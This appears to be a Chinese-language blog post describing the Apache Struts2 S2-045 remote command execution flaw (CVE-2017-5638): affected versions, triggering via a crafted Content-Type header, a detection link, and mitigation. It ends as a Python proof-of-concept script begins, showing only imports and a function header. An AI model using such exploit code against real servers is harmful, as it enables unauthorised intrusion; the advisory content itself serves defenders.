Struts2远程命令执行漏洞

最新推荐文章于 2024-08-14 11:34:51 发布

mirror97black

最新推荐文章于 2024-08-14 11:34:51 发布

阅读量1.4w

点赞数

分类专栏：漏洞

本文链接：https://blog.csdn.net/mirror97black/article/details/78854411

版权

本文详细介绍了Apache Struts2的S2-045漏洞，该漏洞允许在使用Jakarta插件的文件上传时执行远程命令。影响范围包括Struts 2.3.5到2.3.31及2.5到2.5.10。危害包括系统被黑客入侵，建议通过禁用jakarta框架或添加拦截器等方式进行修复。

摘要由CSDN通过智能技术生成

Struts2远程命令执行漏洞

关于Struts

Struts是Apache基金会的一个开源项目，Struts通过采用Java Servlet/JSP技术，实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架，是MVC经典设计模式中的一个经典产品。
目前，Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设，作为网站开发的底层模板使用，是应用最广泛的Web应用框架之一。

漏洞介绍

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。

影响范围

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

快速测试方法

使用知道创宇SeeBug的照妖镜可以直接检测站点是否存在本漏洞
https://www.seebug.org/monster/?checker_id=19

漏洞危害

在default.properties文件中，struts.multipart.parser的值有两个选择，分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的，所以该漏洞的严重性需要得到正视。
攻击者可通过远程命令注入执行，令系统执行恶意命令，导致被黑客入侵，从而威胁服务器安全，影响极大。

漏洞利用

poc代码：

# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    if